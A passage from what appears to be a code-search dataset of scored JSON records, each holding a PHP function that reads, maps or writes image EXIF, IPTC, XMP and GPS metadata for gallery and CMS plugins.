Exif reader v 1.3 by Richard James Kendall\n\t\t * Modified by Dennis Mooibroek\n\t\t * + Added support for global variables (register_globals is off)\n\t\t *\t+ Added support for GPS readouts.\n\t\t */\n\t\t$self = self::getInstance();\n\t\t$EXIFdata = array();\n\t\t$fp = fopen($self->path . '/' . $image, \"rb\");\n\t\t$a = $self->fgetord($fp);\n\t\t\n\t\tif ($a != 255 || $self->fgetord($fp) != 216) \n\t\t\treturn false;\n\t\t\n\t\t$ef = false;\n\t\t\n\t\twhile (!feof($fp)) \n\t\t{\n\t\t\t$section_length = 0;\n\t\t\t$section_marker = 0;\n\t\t\t$lh = 0;\n\t\t\t$ll = 0;\n\t\t\tfor ($i = 0; $i < 7; $i++) \n\t\t\t{\n\t\t\t\t$section_marker = $self->fgetord($fp);\n\t\t\t\tif ($section_marker != 255) \n\t\t\t\t\tbreak;\n\t\t\t\tif ($i >= 6) \n\t\t\t\t\treturn false;\n\t\t\t}\n\t\t\tif ($section_marker == 255) \n\t\t\t\treturn false;\n\t\t\t$lh = $self->fgetord($fp);\n\t\t\t$ll = $self->fgetord($fp);\n\t\t\t$section_length = ($lh << 8) | $ll;\n\t\t\t$data = chr($lh) . chr($ll);\n\t\t\t$t_data = fread($fp, $section_length - 2);\n\t\t\t$data .= $t_data;\n\t\t\tswitch ($section_marker) \n\t\t\t{\n\t\t\t\tcase 225:\n\t\t\t\t\t$ef = true;\n\t\t\t\t\t$self->extractEXIFData(substr($data, 2), $section_length);\n\t\t\t\t\t$EXIFdata = $self->tmpEXIFdata;\n\t\t\t\t\tfclose($fp);\n\t\t\t\t\t/**\n\t\t\t\t\t * We are done, break from the switch and the while loop.\n\t\t \t\t\t */\t\n\t\t\t\t\tbreak 2;\n\t\t\t}\n\t\t}\n\t\t/**\n\t\t * Return result array\n\t\t */\n\t\treturn $EXIFdata;\n\t}", "title": "" }, { "docid": "29888724296a8b1d5351a29d24b7bca7", "score": "0.65413934", "text": "function wm_write_metadata($image_id)\n{\n global $conf, $logger;\n \n $query = '\nSELECT\n img.name,\n img.comment,\n img.author,\n img.date_creation,\n GROUP_CONCAT(tags.name) AS tags,\n img.path,\n img.representative_ext\n FROM '.IMAGES_TABLE.' AS img\n LEFT OUTER JOIN '.IMAGE_TAG_TABLE.' AS img_tag ON img_tag.image_id = img.id\n LEFT OUTER JOIN '.TAGS_TABLE.' AS tags ON tags.id = img_tag.tag_id\n WHERE img.id = '.$image_id.'\n GROUP BY img.id, img.name, img.comment, img.author, img.path, img.representative_ext\n;';\n $result = pwg_query($query);\n $row = pwg_db_fetch_assoc($result);\n\n $name = wm_prepare_string($row['name'], 256);\n $description = wm_prepare_string($row['comment'], 2000);\n $author = wm_prepare_string($row['author'], 32);\n\n $command = isset($conf['exiftool_path']) ? $conf['exiftool_path'] : 'exiftool';\n $command.= ' -q';\n\n if (strlen($name) > 0)\n {\n # 2#105 in iptcparse($imginfo['APP13'])\n $command.= ' -IPTC:Headline=\"'.$name.'\"';\n\n # 2#005 in iptcparse($imginfo['APP13'])\n $command.= ' -IPTC:ObjectName=\"'.wm_cutString($name, 64).'\"';\n }\n\n if (strlen($description) > 0)\n {\n # 2#120 in iptcparse($imginfo['APP13'])\n $command.= ' -IPTC:Caption-Abstract=\"'.$description.'\"';\n }\n\n if (strlen($author) > 0)\n {\n # 2#080 in iptcparse($imginfo['APP13'])\n $iptc_field = 'By-line';\n\n if (\n $conf['use_iptc']\n and isset($conf['use_iptc_mapping']['author'])\n and '2#122' == $conf['use_iptc_mapping']['author']\n )\n {\n # 2#122 in iptcparse($imginfo['APP13'])\n $iptc_field = 'Writer-Editor';\n }\n\n $command.= ' -IPTC:'.$iptc_field.'=\"'.$author.'\"';\n }\n \n if (strlen($row['tags']) > 0)\n {\n $tags = explode(',', $row['tags']);\n foreach ($tags as $tag)\n {\n $tag = wm_prepare_string($tag, 64);\n\n # 2#025 in iptcparse($imginfo['APP13'])\n $command.= ' -IPTC:Keywords=\"'.$tag.'\"';\n }\n }\n\n $command.= ' \"'.$row['path'].'\"';\n $command.= ' 2>&1';\n // echo $command;\n $logger->info(__FUNCTION__.' command = '.$command);\n\n $exec_return = exec($command, $output, $rc);\n // echo '$exec_return = '.$exec_return.'<br>';\n // echo '<pre>'; print_r($output); echo '</pre>';\n\n // as derivatives may contain metadata, they must be reset\n delete_element_derivatives($row);\n\n return array($rc, $output);\n}", "title": "" }, { "docid": "ce43adac81ce53d564c5f390d2cb21a1", "score": "0.65214837", "text": "function getMetaData() {\n\t\trequire_once(dirname(__FILE__).'/exif/exif.php');\n\t\tglobal $_zp_exifvars;\n\t\t$exif = array();\n\t\t// Put together an array of EXIF data to return\n\t\tforeach($_zp_exifvars as $field => $exifvar) {\n\t\t\t$exif[$field] = $this->get($field);\n\t\t}\n\t\treturn $exif;\n\t}", "title": "" }, { "docid": "9949d37bdbe65db092a1c035ad3b26fa", "score": "0.640821", "text": "private function parseImageExif() {\n\t\t$exif = exif_read_data($this->filePath);\n\n\t\tforeach($exif as $key => $value) {\n\t\t\tif(array_key_exists($key, self::$fieldNames)) {\n\t\t\t\tif($key == 'FNumber' || $key == 'FocalLength') {\n\t\t\t\t\t$value = $this->handleDividbleNumber($value);\n\t\t\t\t}\n\n\t\t\t\tif($key == 'DateTime') {\n\t\t\t\t\t$value = $this->handleDate($value);\n\t\t\t\t}\n\n\t\t\t\t$this->values[$key] = $value;\n\t\t\t}\n\t\t}\n\t}", "title": "" }, { "docid": "21ebbf92fa30f34de4040cfece0a866e", "score": "0.6366538", "text": "function getExifIptc($path)\n\t{\n\t\t$data = array();\n\n\t\t// get EXIF data\n\t\t$exif = @exif_read_data($path);\n//debug($path);\t\t\n//debug($exif);\t\t\n\t\tif(isset($exif['DateTimeOriginal']))\n\t\t{\n\t\t\tif(isset($exif['COMPUTED']['Width']))\n\t\t\t{\n\t\t\t\t$data['imageWidth'] = $exif['COMPUTED']['Width'];\n\t\t\t}\n\t\t\tif(isset($exif['COMPUTED']['Height']))\n\t\t\t{\n\t\t\t\t$data['imageHeight'] = $exif['COMPUTED']['Height'];\n\t\t\t}\n\t\t\t$fields = array('ExifImageWidth'\n\t\t\t\t\t\t\t, 'ExifImageLength'\n\t\t\t\t\t\t\t, 'Orientation'\n\t\t\t\t\t\t\t, 'DateTimeOriginal'\n\t\t\t\t\t\t\t, 'Flash'\n\t\t\t\t\t\t\t, 'ColorSpace'\n\t\t\t\t\t\t\t, 'InterOperabilityIndex'\n\t\t\t\t\t\t\t, 'InterOperabilityVersion'\n\t\t\t\t\t\t\t, );\n\t\t\tforeach($fields as $field) {\n\t\t\t\tif(isset($exif[$field]))\n\t\t\t\t{\n\t\t\t\t\t$data[\"exif_{$field}\"] = $exif[$field];\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t\t// get IPTC data\n\t\tgetimagesize($path, $iptc);\n\t\tif(!empty($iptc['APP13']))\n\t\t{\n\t\t\t$app13 = iptcparse($iptc['APP13']);\n\t\t\t$fields = array(\n\t\t\t\t'SpecialInstructions' => '2#040', 'Keyword' => '2#025', 'Category' => '2#015', 'ByLine' => '2#080', 'ByLineTitle' => '2#085'\n\t\t\t);\n\t\t\tforeach($fields as $field => $index) {\n\t\t\t\tif(isset($app13[$index]))\n\t\t\t\t{\n\t\t\t\t\t$value = $app13[$index];\n\t\t\t\t\tif(is_array($value))\n\t\t\t\t\t{\n\t\t\t\t\t\t$value = join(',', $value);\n\t\t\t\t\t}\n\t\t\t\t\t$data[\"iptc_{$field}\"] = $value;\n\t\t\t\t}\n\t\t\t}\t\t\t\n\t\t}\n\n\t\treturn $data;\n\t}", "title": "" }, { "docid": "08eebbe644b4d5621fdcad1f7315ee7e", "score": "0.63143593", "text": "function get_image_meta_data($file)\n{\n if (get_file_type_from_mimetype($file->getMimeType()) === 'jpeg') {\n\n try {\n\n // Try to get the exif data\n return mb_convert_encoding(Image::make($file->getRealPath())->exif(),'UTF8');\n\n } catch ( \\Exception $e) {\n \n return null;\n\n }\n }\n}", "title": "" }, { "docid": "db921c9e0712c9f6290eed25a20fe38f", "score": "0.62757105", "text": "public function getExif();", "title": "" }, { "docid": "08efad1455c6521e8856b01b2641fd20", "score": "0.61964685", "text": "function wp_read_image_metadata($file)\n {\n }", "title": "" }, { "docid": "f6a1f02668571a7e688be4c60fce21e1", "score": "0.61093444", "text": "public static function getImageMeta($imageID)\n {\n $meta = array();\n\n if (!wp_attachment_is_image($imageID)) {\n return $meta;\n }\n\n $imageSlugs = get_intermediate_image_sizes();\n $image = get_post($imageID);\n\n $meta['title'] = $image->post_title;\n $meta['caption'] = $image->post_excerpt;\n $meta['description'] = $image->post_content;\n $meta['alt'] = get_post_meta($image->ID, '_wp_attachment_image_alt', true);\n $meta['href'] = get_permalink($image->ID);\n $meta['src'] = $image->guid;\n $meta['file_upload_identifier'] = get_post_meta($imageID, 'file_upload_identifier', true);\n\n foreach ($imageSlugs as $slug) {\n $meta['sizes'][$slug] = array(\n 'width' => wp_get_attachment_image_src($image->ID, $slug)[1],\n 'height' => wp_get_attachment_image_src($image->ID, $slug)[2],\n );\n\n $meta['urls'][$slug] = wp_get_attachment_image_src($image->ID, $slug)[0];\n }\n\n return $meta;\n }", "title": "" }, { "docid": "5dab8564aca6959f8c9debae5af8536e", "score": "0.59985155", "text": "private function extract_metadata ()\n {\n $slug = $this->get_slug ();\n $page_id = $this->get_page_id ();\n\n if ($page_id === false) {\n return array (\n 2,\n sprintf (__ ('Error while extracting metadata: no page with slug %s.', 'capitularia'), $slug)\n );\n }\n // We proxy this action to the Meta Search plugin.\n $errors = apply_filters ('cap_meta_search_extract_metadata', array (), $page_id, $this->path);\n if ($errors) {\n return array (\n 2,\n sprintf (\n __ ('Errors while extracting metadata from file %s.', 'capitularia'),\n $this->get_slug_with_link ()\n ),\n $errors\n );\n }\n return array (\n 0,\n sprintf (__ ('Metadata extracted from file %s.', 'capitularia'), $this->get_slug_with_link ())\n );\n }", "title": "" }, { "docid": "c5f64babf74e4cfbcb285384ccb42e6a", "score": "0.5938046", "text": "abstract public function getMetadata();", "title": "" }, { "docid": "b9e391dd478ba2b88026f6a8e1706105", "score": "0.5930305", "text": "protected function _formatImageData($image)\n {\n $result = array(\n 'id' => $image['value_id'],\n 'label' => $image['label'],\n 'position' => $image['position'],\n 'exclude' => $image['disabled'],\n 'url' => $this->_getMediaConfig()->getMediaUrl($image['file']),\n 'types' => $this->_getImageTypesAssignedToProduct($image['file'])\n );\n return $result;\n }", "title": "" }, { "docid": "92264fc78818277db631268962f8278b", "score": "0.5894114", "text": "public function mapExif($arrExif): array\n {\n $data = [];\n $data['ImageWidth'] = $arrExif['XMP']['ImageWidth'] ?? $arrExif['EXIF']['ImageWidth']; // exif does not report correct image size\n $data['ImageHeight'] = $arrExif['XMP']['ImageHeight'] ?? $arrExif['EXIF']['ImageHeight'];\n $data['DateTimeOriginal'] = array_key_exists('DateTimeOriginal', $arrExif['EXIF']) ? $arrExif['EXIF']['DateTimeOriginal'] : '';\n $data['ExposureTime'] = array_key_exists('ExposureTime', $arrExif['EXIF']) ? $arrExif['EXIF']['ExposureTime'] : '';\n $data['FNumber'] = array_key_exists('FNumber', $arrExif['EXIF']) ? $arrExif['EXIF']['FNumber'] : '';\n $data['ISO'] = array_key_exists('ISO', $arrExif['EXIF']) ? $arrExif['EXIF']['ISO'] : '';\n $data['ExposureProgram'] = array_key_exists('ExposureProgram', $arrExif['EXIF']) ? $arrExif['EXIF']['ExposureProgram'] : '';\n $data['MeteringMode'] = array_key_exists('MeteringMode', $arrExif['EXIF']) ? $arrExif['EXIF']['MeteringMode'] : '';\n $data['Flash'] = array_key_exists('Flash', $arrExif['EXIF']) ? $arrExif['EXIF']['Flash'] : '';\n $data['FocusDistance'] = array_key_exists('FocusDistance', $arrExif['MakerNotes']) ? $arrExif['MakerNotes']['FocusDistance'] : '';\n if (array_key_exists('GPSPosition', $arrExif['EXIF'])) {\n $arr = explode(',', $arrExif['EXIF']['GPSPosition']);\n $data['GPSLatitude'] = str_replace('+', '', $arr[0]);\n $data['GPSLongitude'] = str_replace('+', '', $arr[1]);\n } elseif (array_key_exists('GPSLatitude', $arrExif['EXIF'])) {\n $data['GPSLatitude'] = $arrExif['EXIF']['GPSLatitudeRef'] === 'South' ? abs($arrExif['EXIF']['GPSLatitude']) * -1 : $arrExif['EXIF']['GPSLatitude'];\n $data['GPSLongitude'] = $arrExif['EXIF']['GPSLongitudeRef'] === 'West' ? abs(\n $arrExif['EXIF']['GPSLongitude']\n ) * -1 : $arrExif['EXIF']['GPSLongitude'];\n } else {\n $data['GPSLatitude'] = '';\n $data['GPSLongitude'] = '';\n }\n $data['GPSAltitude'] = array_key_exists('GPSAltitude', $arrExif['EXIF']) ? $arrExif['EXIF']['GPSAltitude'] : '';\n $data['GPSAltitudeRef'] = array_key_exists('GPSAltitudeRef', $arrExif['EXIF']) ? $arrExif['EXIF']['GPSAltitudeRef'] : '';\n $data['VibrationReduction'] = array_key_exists('VibrationReduction', $arrExif['MakerNotes']) ? $arrExif['MakerNotes']['VibrationReduction'] : '';\n foreach ($arrExif['Files'] as $file) {\n if (strtolower($file['FileType']) !== 'xmp') {\n $data['FileType'] = $file['FileType'];\n $data['FileSize'] = $file['FileSize'];\n }\n }\n $data['Lens'] = array_key_exists('Lens', $arrExif['EXIF']) ? $arrExif['EXIF']['Lens'] : '';\n $data['LensSpec'] = array_key_exists('LensSpec', $arrExif['EXIF']) ? $arrExif['EXIF']['LensSpec'] : '';\n if ($data['LensSpec'] === '') {\n $data['LensSpec'] = array_key_exists('LensID', $arrExif['Composite']) ? $arrExif['Composite']['LensID'] : '';\n }\n $data['FocalLength'] = array_key_exists('FocalLength', $arrExif['EXIF']) ? $arrExif['EXIF']['FocalLength'] : '';\n $data['Make'] = array_key_exists('Make', $arrExif['EXIF']) ? $arrExif['EXIF']['Make'] : 'Nikon';\n $data['Model'] = array_key_exists('Model', $arrExif['EXIF']) ? $arrExif['EXIF']['Model'] : 'Nikon SUPER COOLSCAN 5000 ED';\n\n return $data;\n }", "title": "" }, { "docid": "e2586971a65607c1a2ada0994fb178d9", "score": "0.5764268", "text": "abstract protected function getAvailableMetadata();", "title": "" }, { "docid": "dfc1e101638197a96d2801572ddbd08c", "score": "0.5757952", "text": "public function provideImageMeta() {\n\t\treturn [\n\t\t\t[\n\t\t\t\t[],\n\t\t\t],\n\t\t\t[\n\t\t\t\t[\n\t\t\t\t\t'caption' => '',\n\t\t\t\t],\n\t\t\t],\n\t\t];\n\t}", "title": "" }, { "docid": "4a43b0b84a2b8e98a34236e9827c53a2", "score": "0.5729859", "text": "public function getMetadata(): array;", "title": "" }, { "docid": "121ba81a497e8983b12bdf24ddee8e39", "score": "0.57224965", "text": "function getImageProperties($imageIdentifier);", "title": "" }, { "docid": "041902256f397a6b22e11ec51506b744", "score": "0.57029486", "text": "function image_exif_save_metadata($image, $derivative_path) {\n if ($wrapper = file_stream_wrapper_get_instance_by_uri($image->source)) {\n $original_path = $wrapper->realpath();\n }\n else {\n return;\n }\n\n $logger = new Logger('exiftool');\n $reader = Reader::create($logger);\n\n $metadataBag = $reader->files($original_path)->first();\n $writer = Writer::create($logger);\n $writer->write($derivative_path, $metadataBag);\n}", "title": "" }, { "docid": "4786cb6760664b3863c0af81b983087c", "score": "0.5679357", "text": "private function _getImageInfo($image)\n {\n return getimagesize($image); // This function doesn't only return the image size but some essential information as well.\n }", "title": "" }, { "docid": "f5f67bfef0fce5021a6d825b98cc584e", "score": "0.5633331", "text": "function get_metadata_from_file(){\n\t}", "title": "" }, { "docid": "b428be1f0e57647e4514ff45e9205b2a", "score": "0.55641127", "text": "public function getMetaData();", "title": "" }, { "docid": "b428be1f0e57647e4514ff45e9205b2a", "score": "0.55641127", "text": "public function getMetaData();", "title": "" }, { "docid": "b428be1f0e57647e4514ff45e9205b2a", "score": "0.55641127", "text": "public function getMetaData();", "title": "" }, { "docid": "60668f7889a7c20f87f2487e3aafcb66", "score": "0.55541503", "text": "function image_info($image)\n{\n // http://stackoverflow.com/a/2756441/1459873\n $is_path = preg_match('#^(\\w+/){1,2}\\w+\\.\\w+$#', $image);\n if ($is_path && false !== ($info = getimagesize($image))) {\n return array(\n 'width' => $info[0],\n 'height' => $info[1],\n 'mime' => $info['mime'],\n 'type' => 'file',\n );\n }\n $im = new \\Imagick();\n if ($im->readImageBlob($image)) {\n return array(\n 'width' => $im->getImageWidth(),\n 'height' => $im->getImageHeight(),\n 'mime' => $im->getImageMimeType(),\n 'type' => 'blob',\n );\n }\n return array('width' => 0, 'height' => 0, 'mime'=>'', 'type' => '');\n\n}", "title": "" }, { "docid": "05fb7b778fb77f7bee2cb073b7606c14", "score": "0.55316687", "text": "public function process() {\n\n\t\t$this->out = array();\n\n\t\tif ($inputFile = $this->getInputFile()) {\n\n\t\t\t// Read basic metadata from file, write additional metadata to $info\n\t\t\t$imageSize = getimagesize($inputFile, $info);\n\n\t\t\t// Parse metadata from getimagesize\n\t\t\t$this->out['unit'] = 'px';\n\n\t\t\tif (isset($imageSize['channels'])) {\n\t\t\t\t$this->out['color_space'] = $this->getColorSpace($imageSize['channels']);\n\t\t\t}\n\n\t\t\t// Makes sure the function exists otherwise generates a log entry\n\t\t\tif (function_exists('exif_imagetype') && function_exists('exif_read_data')) {\n\n\t\t\t\t// Determine image type\n\t\t\t\t$imageType = exif_imagetype($inputFile);\n\n\t\t\t\t// Only try to read exif data for supported types\n\t\t\t\tif (in_array($imageType, $this->allowedImageTypes)) {\n\n\t\t\t\t\t$exif = @exif_read_data($inputFile, 0, TRUE);\n\n\t\t\t\t\t// Parse metadata from EXIF GPS block\n\t\t\t\t\tif (is_array($exif['GPS'])) {\n\t\t\t\t\t\t$this->out['latitude'] = $this->parseGPSCoordinate($exif['GPS']['GPSLatitude'], $exif['GPS']['GPSLatitudeRef']);\n\t\t\t\t\t\t$this->out['longitude'] = $this->parseGPSCoordinate($exif['GPS']['GPSLongitude'], $exif['GPS']['GPSLongitudeRef']);\n\t\t\t\t\t}\n\n\t\t\t\t\t// Parse metadata from EXIF EXIF block\n\t\t\t\t\tif (is_array($exif['EXIF'])) {\n\t\t\t\t\t\t$this->out['creation_date'] = strtotime($exif['EXIF']['DateTimeOriginal']);\n\t\t\t\t\t}\n\n\t\t\t\t\t// Parse metadata from EXIF IFD0 block\n\t\t\t\t\tif (is_array($exif['IFD0'])) {\n\n\t\t\t\t\t\tforeach ($exif['IFD0'] as $exifAttribute => $value) {\n\n\t\t\t\t\t\t\tswitch ($exifAttribute) {\n\n\t\t\t\t\t\t\t\tcase 'ApertureValue':\n\t\t\t\t\t\t\t\t\t$parts = explode('/', $value);\n\t\t\t\t\t\t\t\t\t$this->out['aperture_value'] = round(exp(($parts[0] / $parts[1]) * 0.51 * log(2)), 1);\n\t\t\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\t\t\tcase 'ShutterSpeedValue':\n\t\t\t\t\t\t\t\t\t$parts = explode('/', $value);\n\t\t\t\t\t\t\t\t\t$this->out['shutter_speed_value'] = (int) pow(2, $parts[0] / $parts[1]);\n\t\t\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\t\t\tcase 'ISOSpeedRatings':\n\t\t\t\t\t\t\t\t\t$this->out['iso_speed_ratings'] = $value;\n\t\t\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\t\t\tcase 'Model':\n\t\t\t\t\t\t\t\t\t$this->out['camera_model'] = $value;\n\t\t\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\t\t\tcase 'ExposureTime':\n\t\t\t\t\t\t\t\t\t$this->out['exposure_time'] = strtotime($value);\n\t\t\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\t\t\tcase 'Flash':\n\t\t\t\t\t\t\t\t\t$this->out['flash'] = $value;\n\t\t\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\t\t\tcase 'MeteringMode':\n\t\t\t\t\t\t\t\t\t$this->out['metering_mode'] = $value;\n\t\t\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\t\t\tcase 'ColorSpace':\n\t\t\t\t\t\t\t\t\t$this->out['color_space'] = $this->getColorSpace($value);\n\t\t\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\t\t\tcase 'XResolution':\n\t\t\t\t\t\t\t\t\t$this->out['horizontal_resolution'] = $this->fractionToInt($value);\n\t\t\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\t\t\tcase 'YResolution':\n\t\t\t\t\t\t\t\t\t$this->out['vertical_resolution'] = $this->fractionToInt($value);\n\t\t\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\t\t\tcase 'Subject':\n\t\t\t\t\t\t\t\t\t$this->out['description'] = $value;\n\t\t\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\t\t\tcase 'DateTime':\n\t\t\t\t\t\t\t\t\t$this->out['modification_date'] = strtotime($value);\n\t\t\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\t\t\tcase 'Software':\n\t\t\t\t\t\t\t\t\t$this->out['creator_tool'] = $value;\n\t\t\t\t\t\t\t\t\tbreak;\n\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t} else {\n\t\t\t\t\\TYPO3\\CMS\\Core\\Utility\\GeneralUtility::devLog('Function exif_imagetype() and exif_read_data() are not available. Make sure Mbstring and Exif module are loaded.', 2);\n\t\t\t}\n\n\t\t\t// Check if IPTC metadata exists\n\t\t\tif (isset($info['APP13'])) {\n\t\t\t\t$iptc = iptcparse($info['APP13']);\n\t\t\t}\n\n\t\t\t// Parse metadata from IPTC APP13\n\t\t\tif (is_array($iptc)) {\n\n\t\t\t\t$iptcAttributes = array(\n\t\t\t\t\t'2#005' => 'title',\n\t\t\t\t\t'2#120' => 'caption',\n\t\t\t\t\t'2#025' => 'keywords',\n\t\t\t\t\t'2#085' => 'author',\n\t\t\t\t\t'2#115' => 'publisher',\n\t\t\t\t\t'2#080' => 'creator',\n\t\t\t\t\t'2#116' => 'copyright_notice',\n\t\t\t\t\t'2#100' => 'location_country',\n\t\t\t\t\t'2#090' => 'location_city',\n\t\t\t\t\t'2#055' => 'creation_date',\n\t\t\t\t);\n\n\t\t\t\tforeach ($iptcAttributes as $iptcAttribute => $mediaField) {\n\t\t\t\t\tif (isset($iptc[$iptcAttribute])) {\n\t\t\t\t\t\t$this->out[$mediaField] = $iptc[$iptcAttribute][0];\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\n\t\t\t// Convert each metadata value from its encoding to utf-8\n\t\t\t$this->out = \\TYPO3\\CMS\\Metadata\\Utility\\Unicode::convert($this->out);\n\n\t\t} else {\n\t\t\t$this->errorPush(T3_ERR_SV_NO_INPUT, 'No or empty input.');\n\t\t}\n\n\t\treturn $this->getLastError();\n\t}", "title": "" }, { "docid": "064fe0466345b9ccd2a92c3d5ada451a", "score": "0.5513819", "text": "public function getMetadata();", "title": "" }, { "docid": "064fe0466345b9ccd2a92c3d5ada451a", "score": "0.5513819", "text": "public function getMetadata();", "title": "" }, { "docid": "1d6a7da6a081badac055767a10747f1f", "score": "0.5465026", "text": "public function getMetadata($key = null)\n {\n $metadata = stream_get_meta_data($this->file);\n if ($key) {\n return $metadata[$key];\n }\n return $metadata;\n }", "title": "" }, { "docid": "7fec2df11a2004c3fa2a96212d3555c0", "score": "0.5448066", "text": "public static function mla_exif_metadata_value( $exif_key, $item_metadata, $option = 'text', $keep_existing = false ) {\r\n\t\tif ( 'ALL_EXIF' == $exif_key ) {\r\n\t\t\t$clean_data = array();\r\n\t\t\tif ( isset( $item_metadata['mla_exif_metadata'] ) && is_array( $item_metadata['mla_exif_metadata'] ) ) {\r\n\t\t\t\tforeach ( $item_metadata['mla_exif_metadata'] as $key => $value ) {\r\n\t\t\t\t\tif ( is_array( $value ) ) {\r\n\t\t\t\t\t\t$clean_data[ $key ] = '(ARRAY)';\r\n\t\t\t\t\t} elseif ( is_string( $value ) ) {\r\n\t\t\t\t\t\t$clean_data[ $key ] = self::_bin_to_utf8( substr( $value, 0, 256 ) );\r\n\t\t\t\t\t} else {\r\n\t\t\t\t\t\t$clean_data[ $key ] = $value;\r\n\t\t\t\t\t}\r\n\t\t\t\t}\r\n\t\t\t}\r\n\r\n\t\t\treturn var_export( $clean_data, true);\r\n\t\t} elseif ( 'ALL_IPTC' == $exif_key ) {\r\n\t\t\t$clean_data = array();\r\n\t\t\tif ( isset( $item_metadata['mla_iptc_metadata'] ) && is_array( $item_metadata['mla_iptc_metadata'] ) ) {\r\n\t\t\t\tforeach ( $item_metadata['mla_iptc_metadata'] as $key => $value ) {\r\n\t\t\t\t\tif ( is_array( $value ) ) {\r\n\t\t\t\t\t\tforeach ($value as $text_key => $text )\r\n\t\t\t\t\t\t\t$value[ $text_key ] = self::_bin_to_utf8( $text );\r\n\r\n\t\t\t\t\t\t$clean_data[ $key ] = 'ARRAY(' . implode( ',', $value ) . ')';\r\n\t\t\t\t\t} elseif ( is_string( $value ) ) {\r\n\t\t\t\t\t\t$clean_data[ $key ] = self::_bin_to_utf8( substr( $value, 0, 256 ) );\r\n\t\t\t\t\t} else {\r\n\t\t\t\t\t\t$clean_data[ $key ] = self::_bin_to_utf8( $value );\r\n\t\t\t\t\t}\r\n\t\t\t\t}\r\n\t\t\t}\r\n\r\n\t\t\treturn var_export( $clean_data, true);\r\n\t\t}\r\n\r\n\t\treturn self::mla_find_array_element( $exif_key, $item_metadata['mla_exif_metadata'], $option, $keep_existing );\r\n\t}", "title": "" }, { "docid": "6b8a74583780e4ebcace3b915d801828", "score": "0.5419483", "text": "public function getMetaData(): iterable;", "title": "" }, { "docid": "3e1d905088b00394f8a92bcdaf9d63c8", "score": "0.5419237", "text": "public function metadata() : array;", "title": "" }, { "docid": "42e22d54a2dd60a6604dafbc88264e67", "score": "0.5386348", "text": "function _get_XMP_text($filename)\n\t{\n\t\t$jpeg_header_data = $this->_get_jpeg_header_data($filename);\n\n\t\t//Cycle through the header segments\n\t\tfor ($i = 0; $i < count($jpeg_header_data); $i++)\n\t\t{\n\t\t\t// If we find an APP1 header,\n\t\t\tif (strcmp($jpeg_header_data[$i]['SegName'], 'APP1') == 0)\n\t\t\t{\n\t\t\t\t// And if it has the Adobe XMP/RDF label (http://ns.adobe.com/xap/1.0/\\x00) ,\n\t\t\t\tif (strncmp($jpeg_header_data[$i]['SegData'], 'http://ns.adobe.com/xap/1.0/'.\"\\x00\", 29) == 0)\n\t\t\t\t{\n\t\t\t\t\t// Found a XMP/RDF block\n\t\t\t\t\t// Return the XMP text\n\t\t\t\t\t$xmp_data = substr($jpeg_header_data[$i]['SegData'], 29);\n\n\t\t\t\t\treturn trim($xmp_data); // trim() should not be neccesary, but some files found in the wild with null-terminated block (known samples from Apple Aperture) causes problems elsewhere (see https://www.getid3.org/phpBB3/viewtopic.php?f=4&t=1153)\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\treturn false;\n\t}", "title": "" }, { "docid": "3b2b216aa6752e1b55f1880f187d2f50", "score": "0.537918", "text": "function _meta(&$img,$opt){\n if($img['meta']){\n // map JPEGMeta calls to opt names\n\n switch($opt){\n case 'title':\n return $img['meta']->getField('Simple.Title');\n case 'desc':\n return $img['meta']->getField('Iptc.Caption');\n case 'cdate':\n return $img['meta']->getField('Date.EarliestTime');\n case 'width':\n return $img['meta']->getField('File.Width');\n case 'height':\n return $img['meta']->getField('File.Height');\n\n\n default:\n return '';\n }\n\n }else{\n // just return the array field\n return $img[$opt];\n }\n }", "title": "" }, { "docid": "1400e312c45e64ac902e97229d803365", "score": "0.53489774", "text": "private static function get_image_location($image = '')\n {\n $exif = exif_read_data($image, 0, true);\n if ($exif && isset($exif['GPS'])) {\n $GPSLatitudeRef = $exif['GPS']['GPSLatitudeRef'];\n $GPSLatitude = $exif['GPS']['GPSLatitude'];\n $GPSLongitudeRef = $exif['GPS']['GPSLongitudeRef'];\n $GPSLongitude = $exif['GPS']['GPSLongitude'];\n\n $lat_degrees = count($GPSLatitude) > 0 ? self::gps2Num($GPSLatitude[0]) : 0;\n $lat_minutes = count($GPSLatitude) > 1 ? self::gps2Num($GPSLatitude[1]) : 0;\n $lat_seconds = count($GPSLatitude) > 2 ? self::gps2Num($GPSLatitude[2]) : 0;\n\n $lon_degrees = count($GPSLongitude) > 0 ? self::gps2Num($GPSLongitude[0]) : 0;\n $lon_minutes = count($GPSLongitude) > 1 ? self::gps2Num($GPSLongitude[1]) : 0;\n $lon_seconds = count($GPSLongitude) > 2 ? self::gps2Num($GPSLongitude[2]) : 0;\n\n $lat_direction = ($GPSLatitudeRef == 'W' or $GPSLatitudeRef == 'S') ? -1 : 1;\n $lon_direction = ($GPSLongitudeRef == 'W' or $GPSLongitudeRef == 'S') ? -1 : 1;\n\n $latitude = $lat_direction * ($lat_degrees + ($lat_minutes / 60) + ($lat_seconds / (60 * 60)));\n $longitude = $lon_direction * ($lon_degrees + ($lon_minutes / 60) + ($lon_seconds / (60 * 60)));\n\n return array('latitude' => $latitude, 'longitude' => $longitude);\n } else {\n return false;\n }\n }", "title": "" }, { "docid": "f7b85afb692f49f8f4e2f03531fb507f", "score": "0.5348052", "text": "function extract_exif_comment($ref,$extension=\"\")\n\t{\n\t# Also parse IPTC headers and insert\n\t# EXIF headers\n\t$exifoption=getval(\"no_exif\",\"\"); // This may have been set to a non-standard value if allowing per field selection\n\tif($exifoption==\"yes\"){$exifoption=\"no\";} // Sounds odd but previously was no_exif so logic reversed\t\t\t\t\t\t\n\tif($exifoption==\"\"){$exifoption=\"yes\";}\n\t\n\t$image=get_resource_path($ref,true,\"\",false,$extension);\n\tif 